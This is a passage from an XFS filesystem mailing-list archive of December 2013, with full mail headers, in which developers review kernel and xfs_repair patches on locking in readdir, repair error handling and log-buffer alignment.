KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142819 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Dec 03, 2013 at 03:57:35PM -0600, Ben Myers wrote: > There is a set checks for corruption in block map btrees in > process_bmbt_reclist_int that we identify but currently do not fix. It > appears that the author's intent in this function was to set error = 1, > and then only clear it when all of the checks were completed > successfully. Unfortunately error can be cleared when it is used for > the return value of blkmap_set_ext. Some kinds of corruption are not > being fixed, including duplicate extents, claiming free blocks, claiming > metadata blocks, and multiply used blocks. > > Fix this by shadowing error for blkmap_set_ext. Shadowing variables is not a very nice way of solving the problem. Someone will come along in a couple of years anf go "huh?" and remove the shadowed declaration because it makes no sense and has no comments explaining it. Better is to use a different variable name for this scope - say "error2" - or to reset error to a value of 1 after the call with a comment explaining it.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From bpm@sgi.com Tue Dec 3 17:14:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 27D407F57 for ; Tue, 3 Dec 2013 17:14:19 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0FB8230407B; Tue, 3 Dec 2013 15:14:16 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id CA2684266DC; Tue, 3 Dec 2013 17:14:15 -0600 (CST) Date: Tue, 3 Dec 2013 17:14:15 -0600 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: reinstate the iolock in xfs_readdir Message-ID: <20131203231415.GS1935@sgi.com> References: <20131203212951.GP1935@sgi.com> <20131203225520.GZ10988@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131203225520.GZ10988@dastard> User-Agent: Mutt/1.5.20 (2009-06-14) On Wed, Dec 04, 2013 at 09:55:20AM +1100, Dave Chinner wrote: > On Tue, Dec 03, 2013 at 03:29:51PM -0600, Ben Myers wrote: > > Although it was removed in commit 051e7cd44ab8, ilock needs to be taken in > > xfs_readdir because we might have to read the extent list in from disk. This > > keeps other threads from reading from or writing to the extent list while it is > > being read in and is still in a transitional state. > > > > This has been associated with "Access to block zero" messages on directories > > with large numbers of extents resulting from excessive filesytem fragmentation, > > as well as extent list corruption. Unfortunately no test case at this point. > > That commit was from 2007, so this is not a result of a recent > change. As it is, access to directories is completely > serialised by the VFS i_mutex. We don't need the iolock to read in > the extent list for a directory, because by the time we get to > readdir it is already guaranteed to be read in by this code: Gah. Typo in my subject line. That's the ilock, not the iolock. Whenever we touch the extent list we want to have the ilock at some level. > STATIC int > xfs_dir_open( > struct inode *inode, > struct file *file) > { > struct xfs_inode *ip = XFS_I(inode); > int mode; > int error; > > error = xfs_file_open(inode, file); > if (error) > return error; > > /* > * If there are any blocks, read-ahead block 0 as we're almost > * certain to have the next operation be a read there. > */ > mode = xfs_ilock_map_shared(ip); > if (ip->i_d.di_nextents > 0) > xfs_dir3_data_readahead(NULL, ip, 0, -1); > xfs_iunlock(ip, mode); > return 0; > } > > Which means that for a directory in block/leaf/node form the open of > it prior to the first readdir() call will read the extent tree into > memory and it will be pinned in memory for at least the life of the > file descriptor that is open on the directory. That readahead _may_ read some of the blocks from disk but it doesn't copy them into the incore extent list. That's what we need to protect from other readers who don't take the i_mutex. Will see if I can find an example. > If the directory is not in block form at open time, then the > first modification that takes it to block form will correctly lock > and initialise the extent tree, and concurrent readers will block on > the i_mutex at the VFS, not on the XFS iolock. > > Now, if something is accessing the directory without going through > the VFS, there might be an issue, but all read accesses are via a > file descriptor of some kind and so should always have the extent > list initialised and read in correctly before reads occur due to the > code in xfs_dir_open() and serialisation via the i_mutex at the VFS > level. > > So I don't see why holding the iolock during readdir is necessary, > nor how not holding it could lead to corrupt extent trees being seen > during directory operations. I need more information to understand > the issue being seen.... Sorry for the confusion. bbl. ;) -Ben From bpm@sgi.com Tue Dec 3 17:14:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 45A027F57 for ; Tue, 3 Dec 2013 17:14:54 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1AD86304071; Tue, 3 Dec 2013 15:14:54 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id F02CC4266DC; Tue, 3 Dec 2013 17:14:53 -0600 (CST) Date: Tue, 3 Dec 2013 17:14:53 -0600 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs_repair: fix process_bmbt_reclist_int Message-ID: <20131203231453.GT1935@sgi.com> References: <20131203215735.GQ1935@sgi.com> <20131203230804.GA10988@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131203230804.GA10988@dastard> User-Agent: Mutt/1.5.20 (2009-06-14) On Wed, Dec 04, 2013 at 10:08:04AM +1100, Dave Chinner wrote: > On Tue, Dec 03, 2013 at 03:57:35PM -0600, Ben Myers wrote: > > There is a set checks for corruption in block map btrees in > > process_bmbt_reclist_int that we identify but currently do not fix. It > > appears that the author's intent in this function was to set error = 1, > > and then only clear it when all of the checks were completed > > successfully. Unfortunately error can be cleared when it is used for > > the return value of blkmap_set_ext. Some kinds of corruption are not > > being fixed, including duplicate extents, claiming free blocks, claiming > > metadata blocks, and multiply used blocks. > > > > Fix this by shadowing error for blkmap_set_ext. > > Shadowing variables is not a very nice way of solving the problem. > Someone will come along in a couple of years anf go "huh?" and > remove the shadowed declaration because it makes no sense and has > no comments explaining it. > > Better is to use a different variable name for this scope - say > "error2" - or to reset error to a value of 1 after the call with a > comment explaining it.... error2 it is. Sounds good. From david@fromorbit.com Tue Dec 3 17:25:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 910147F51 for ; Tue, 3 Dec 2013 17:25:42 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2283EAC003 for ; Tue, 3 Dec 2013 15:25:42 -0800 (PST) X-ASG-Debug-ID: 1386113140-04bdf06eec4e9d20001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id QNdNr5t5vLLsvyxf for ; Tue, 03 Dec 2013 15:25:40 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvsGACxnnlJ5LHyk/2dsb2JhbABagwe0JIVPgRoXdIIlAQEFOhwjEAgDDgYECSUPBSUDIROIAMFYFxaOBhEBUAeDIIETA5gTkhSDPSiBNQ Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 04 Dec 2013 09:54:27 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VnzKJ-0002RH-7g; Wed, 04 Dec 2013 10:24:23 +1100 Date: Wed, 4 Dec 2013 10:24:23 +1100 From: Dave Chinner To: Rich Johnston Cc: Guangyu Sun , "xfs@oss.sgi.com" Subject: Re: [PATCH] xfstest generic/280: wait for setquota to finish before umount Message-ID: <20131203232423.GB10988@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstest generic/280: wait for setquota to finish before umount References: <1382637381-4847-1-git-send-email-guangyu.sun@oracle.com> <529DF220.9060208@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <529DF220.9060208@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386113140 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142821 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On Tue, Dec 03, 2013 at 09:00:48AM -0600, Rich Johnston wrote: > This has been committed. > > Thanks > --Rich > > commit 527eeb43e5c7cfd642d81bc3c12e746d2a3733ff > Author: Guangyu Sun > Date: Thu Oct 24 17:56:21 2013 +0000 > > xfstest generic/280: wait for setquota to finish before umount Rich, I know you read the email I sent about trying to introduce some conventions for patch subject lines for xfstests commits. Cleanliness in the commit history is important, and it's something that we need to focus on to ensure we all commit patches using the same conventions. Hence if you are going to commit patches independently, can you can you please rewrite the commit messages to follow the conventions I outlined? Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Dec 3 17:30:26 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 472067F51 for ; Tue, 3 Dec 2013 17:30:26 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id E19F6AC002 for ; Tue, 3 Dec 2013 15:30:25 -0800 (PST) X-ASG-Debug-ID: 1386113424-04bdf06eed4e9f50001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id n72NFYrUSc45HKzA for ; Tue, 03 Dec 2013 15:30:24 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvsGAFRonlJ5LHyk/2dsb2JhbABagwe0JIVPgRoXdIIlAQEFOhwjEAgDDgoJJQ8FJQMhE4gAwVwXFo5oB4MggRMDmBOSFIM9KA Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 04 Dec 2013 10:00:20 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VnzQ1-0002S7-TG; Wed, 04 Dec 2013 10:30:17 +1100 Date: Wed, 4 Dec 2013 10:30:17 +1100 From: Dave Chinner To: Rich Johnston Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: stop special casing nfs and udf Message-ID: <20131203233017.GC10988@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstests: stop special casing nfs and udf References: <20131107204635.GA22954@infradead.org> <20131122091553.GA32568@infradead.org> <20131202174045.GA21861@infradead.org> <20131202232549.GV8803@dastard> <20131202233629.GM1935@sgi.com> <20131203042936.GY8803@dastard> <529DDE2D.3000501@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <529DDE2D.3000501@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386113424 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142821 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Dec 03, 2013 at 07:35:41AM -0600, Rich Johnston wrote: > On 12/02/2013 10:29 PM, Dave Chinner wrote: > >On Mon, Dec 02, 2013 at 05:36:30PM -0600, Ben Myers wrote: > >Hence if a developer sends a ping to remind the maintainers about a > >reviewed patch that has been sitting around, then I'm going to do > >something about it straight away... > My apologies to Christoph. I missed that I thought he was waiting > for a review, not a commit from me. One of the roles of a maintainer is to review code when nobody else steps up to do it. So rather than wait for someone else to review the code, you should do it yourself, wait 24-48 for any responses once you give it a Reviewed-by tag, and then you can commit it. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Dec 3 18:10:45 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 635E77F3F for ; Tue, 3 Dec 2013 18:10:45 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id D754FAC003 for ; Tue, 3 Dec 2013 16:10:41 -0800 (PST) X-ASG-Debug-ID: 1386115838-04cbb041694e5b20001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id qz2O2IJSJGC5itaM for ; Tue, 03 Dec 2013 16:10:39 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsHALlxnlJ5LHyk/2dsb2JhbABagweDMbB2hU+BGhd0giUBAQQBJxMcIwULCAMOCgklDwUlAyETGYdiBcFZFo5oB4MggRMDmBOKTIdIgz0o Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 04 Dec 2013 10:40:38 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vo02w-0002Zk-62; Wed, 04 Dec 2013 11:10:30 +1100 Date: Wed, 4 Dec 2013 11:10:30 +1100 From: Dave Chinner To: Ben Myers Cc: xfs@oss.sgi.com Subject: Re: [PATCH] xfs: reinstate the iolock in xfs_readdir Message-ID: <20131204001030.GD10988@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: reinstate the iolock in xfs_readdir References: <20131203212951.GP1935@sgi.com> <20131203225520.GZ10988@dastard> <20131203231415.GS1935@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131203231415.GS1935@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386115838 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142821 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Dec 03, 2013 at 05:14:15PM -0600, Ben Myers wrote: > On Wed, Dec 04, 2013 at 09:55:20AM +1100, Dave Chinner wrote: > > On Tue, Dec 03, 2013 at 03:29:51PM -0600, Ben Myers wrote: > > > Although it was removed in commit 051e7cd44ab8, ilock needs to be taken in > > > xfs_readdir because we might have to read the extent list in from disk. This > > > keeps other threads from reading from or writing to the extent list while it is > > > being read in and is still in a transitional state. > > > > > > This has been associated with "Access to block zero" messages on directories > > > with large numbers of extents resulting from excessive filesytem fragmentation, > > > as well as extent list corruption. Unfortunately no test case at this point. > > > > That commit was from 2007, so this is not a result of a recent > > change. As it is, access to directories is completely > > serialised by the VFS i_mutex. We don't need the iolock to read in > > the extent list for a directory, because by the time we get to > > readdir it is already guaranteed to be read in by this code: > > Gah. Typo in my subject line. That's the ilock, not the iolock. Whenever we > touch the extent list we want to have the ilock at some level. I just copied what you said. ;) > > STATIC int > > xfs_dir_open( > > struct inode *inode, > > struct file *file) > > { > > struct xfs_inode *ip = XFS_I(inode); > > int mode; > > int error; > > > > error = xfs_file_open(inode, file); > > if (error) > > return error; > > > > /* > > * If there are any blocks, read-ahead block 0 as we're almost > > * certain to have the next operation be a read there. > > */ > > mode = xfs_ilock_map_shared(ip); > > if (ip->i_d.di_nextents > 0) > > xfs_dir3_data_readahead(NULL, ip, 0, -1); > > xfs_iunlock(ip, mode); > > return 0; > > } > > > > Which means that for a directory in block/leaf/node form the open of > > it prior to the first readdir() call will read the extent tree into > > memory and it will be pinned in memory for at least the life of the > > file descriptor that is open on the directory. > > That readahead _may_ read some of the blocks from disk but it doesn't copy them > into the incore extent list. Readahead reads data blocks based on their file offset. How do we find the data block to read from the file offset? It looks it up in the extent list via xfs_bmapi_read(), which reads the entire extent map from disk and populates the incore extent tree in it's entirity if it is not present. i.e. xfs_dir3_data_readahead xfs_da_reada_buf xfs_dabuf_map if (mappedbno == -1) xfs_bmapi_read if (!XFS_IFEXTENTS) xfs_iread_extents set XFS_IFEXTENTS xfs_bmap_read_extents mappedbno = filesystem block from xfs_bmapi_read xfs_buf_reada(mappedbno) (reads directory data from disk) Hence xfs_dir_open() has the correct locking and ensures that we don't need to use the extent list lock for any read operations through the VFS because all read operations are serialised against modifications to the directory the i_mutex at the VFS. > That's what we need to protect from other readers > who don't take the i_mutex. Will see if I can find an example. The only way I can see there being a problem is if the directory extent tree is being modified without the directory i_mutex being held. AFAICT, that can't happen from the VFS, so maybe there's something that is coming from the ioctl interfaces - the only thing I can see there is xfs_attrmulti_attr_set() causing a directory inode data fork to move from extent to btree format as an attribute fork is added, but that wouldn't cause problems with existing directories with large extent counts. Also, nothing in xfstests/xfsprogs uses XFS_IOC_ATTRMULTI_BY_HANDLE or the libhandle functions that call this ioctl, so it would seem to me that the only thing that might use this function to set attributes on files is DMF..... Hmmm, that makes me wonder about whether this is a CXFS problem, because it has hooks deep in the XFS code below the VFS. Last time I looked, the MDS completely bypassed the VFS for directory modifications driven by clients. That would explain why nobody has seen this problem on mainline kernels for the best part of 6 years, and also explain why the ilock is necessary across the readdir operation to prevent the extent list problems from being seen.... Ben - if this is a DMF or CXFS problem, just say so. Some of us know an awful lot about how those products work, so there's no point wasting my time trying to dance around why a change needs to be made without mentioning those products. The simple fact is that if we ever want to do concurrent directory read operations, we have to take the ilock in readdir() to ensure we can serialise correctly against modifications because the i_mutex can't be used to do that. So, really, I'm not against the fix you proposed - I'm just trying to understand why it is necessary right now.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Dec 3 18:37:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6FC617F3F for ; Tue, 3 Dec 2013 18:37:23 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5AB6530408E for ; Tue, 3 Dec 2013 16:37:20 -0800 (PST) X-ASG-Debug-ID: 1386117438-04cb6c537e4e1f00001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id MsHaRdzw6Vky7deB for ; Tue, 03 Dec 2013 16:37:18 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlsHAOZ4nlJ5LHyk/2dsb2JhbABagweDMbB2hU+BGxd0giUBAQQBJxMcIwULCAMOCgkMGQ8FJQMhE4d7BcFLFxaOaAcKgxaBEwOYE5IUgWuBUig Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 04 Dec 2013 11:07:17 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vo0Sm-0002cn-Qp; Wed, 04 Dec 2013 11:37:12 +1100 Date: Wed, 4 Dec 2013 11:37:12 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 06/10] xfs: format log items write directly into the linear CIL buffer Message-ID: <20131204003712.GE10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 06/10] xfs: format log items write directly into the linear CIL buffer References: <20131129083919.207915844@bombadil.infradead.org> <20131129084001.028583376@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131129084001.028583376@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386117438 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142822 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Nov 29, 2013 at 12:39:25AM -0800, Christoph Hellwig wrote: > Instead of setting up pointers to memory locations in iop_format which then > get copied into the CIL linear buffer after return move the copy into > the individual inode items. This avoids the need to always have a memory > block in the exact same layout that gets written into the log around, and > allow the log items to be much more flexible in their in-memory layouts. > > Note that all log item format routines now need to be careful to modify > the copy of the item that was placed into the CIL after calls to > xlog_copy_iovec instead of the in-memory copy. > > Signed-off-by: Christoph Hellwig > */ > base_size = xfs_buf_log_format_size(blfp); > > - nvecs = 0; > first_bit = xfs_next_bit(blfp->blf_data_map, blfp->blf_map_size, 0); > if (!(bip->bli_flags & XFS_BLI_STALE) && first_bit == -1) { > /* > * If the map is not be dirty in the transaction, mark > * the size as zero and do not advance the vector pointer. > */ > - goto out; > + return; > } > > - xlog_copy_iovec(vecp, XLOG_REG_TYPE_BFORMAT, blfp, base_size); > - nvecs = 1; > + blfp = xlog_copy_iovec(lv, vecp, XLOG_REG_TYPE_BFORMAT, blfp, base_size); > + blfp->blf_size = 1; Hmmmm. What guarantee do we have blf_size is now natuarally aligned? We've returned a pointer that could have any offset into the logvec buffer, and so some platforms are going to have problems if blfp is at an address that is not a multiple of 4 or 8, right? > xfs_inode_item_format_data_fork( > struct xfs_inode_log_item *iip, > - struct xfs_log_iovec **vecp, > - int *nvecs) > + struct xfs_inode_log_format *ilf, > + struct xfs_log_vec *lv, > + struct xfs_log_iovec **vecp) > { > struct xfs_inode *ip = iip->ili_inode; > size_t data_bytes; > @@ -239,19 +241,19 @@ xfs_inode_item_format_data_fork( > * extents, so just point to the > * real extents array. > */ > - xlog_copy_iovec(vecp, XLOG_REG_TYPE_IEXT, > + xlog_copy_iovec(lv, vecp, XLOG_REG_TYPE_IEXT, > ip->i_df.if_u1.if_extents, > ip->i_df.if_bytes); > - iip->ili_format.ilf_dsize = ip->i_df.if_bytes; > + ilf->ilf_dsize = ip->i_df.if_bytes; And by the looks of it, we could have the same problems here? > diff --git a/fs/xfs/xfs_log.h b/fs/xfs/xfs_log.h > index 384c6c4..e04bd0c 100644 > --- a/fs/xfs/xfs_log.h > +++ b/fs/xfs/xfs_log.h > @@ -31,18 +31,44 @@ struct xfs_log_vec { > #define XFS_LOG_VEC_ORDERED (-1) > > static inline void * > -xlog_copy_iovec(struct xfs_log_iovec **vecp, uint type, void *data, int len) > +xlog_prepare_iovec(struct xfs_log_vec *lv, struct xfs_log_iovec **vecp, > + uint type) > { > struct xfs_log_iovec *vec = *vecp; > > + if (vec) { > + ASSERT(vec - lv->lv_iovecp < lv->lv_niovecs); > + vec++; > + } else { > + vec = &lv->lv_iovecp[0]; > + } > + > vec->i_type = type; > - vec->i_addr = data; > - vec->i_len = len; > + vec->i_addr = lv->lv_buf + lv->lv_buf_len; We could at least check here that the alignment is good... > > - *vecp = vec + 1; > + *vecp = vec; > return vec->i_addr; > } > > +static inline void > +xlog_finish_iovec(struct xfs_log_vec *lv, struct xfs_log_iovec *vec, int len) > +{ > + lv->lv_buf_len += len; And if we need to guarantee alignment, then maybe roundup here to ensure we don't end up with bad offsets? That would require padding the allocation of the buffer to take it into account, too.... Other than this concern, the code looks fine. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Dec 3 18:40:08 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 883497F3F for ; Tue, 3 Dec 2013 18:40:08 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 72FC28F8039 for ; Tue, 3 Dec 2013 16:40:05 -0800 (PST) X-ASG-Debug-ID: 1386117603-04cbb041664e6d90001-NocioJ Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id gfC4FeooIdebykt0 for ; Tue, 03 Dec 2013 16:40:03 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.129 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AloHAOZ4nlJ5LHyk/2dsb2JhbABagweDMbB2hU+BGxd0giUBAQU6HCMQCAMOCgklDwUlAyETiADBSxcWjmgHgyCBEwOYE5IUgz0ogSwk Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail06.adl2.internode.on.net with ESMTP; 04 Dec 2013 11:10:03 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1Vo0VU-0002dU-5d; Wed, 04 Dec 2013 11:40:00 +1100 Date: Wed, 4 Dec 2013 11:40:00 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 07/10] xfs: format logged extents directly into the CIL Message-ID: <20131204004000.GF10988@dastard> X-ASG-Orig-Subj: Re: [PATCH 07/10] xfs: format logged extents directly into the CIL References: <20131129083919.207915844@bombadil.infradead.org> <20131129084001.243588401@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131129084001.243588401@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1386117603 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142822 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Nov 29, 2013 at 12:39:26AM -0800, Christoph Hellwig wrote: > With the new iop_format scheme there is no need to have a temporary buffer > to format logged extents into, we can do so directly into the CIL. This > also allows to remove the shortcut for big endian systems that probably > hasn't gotten a lot of test coverage for a long time. > > Signed-off-by: Christoph Hellwig Very nice! Lots of cruft just disappears here :) Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From 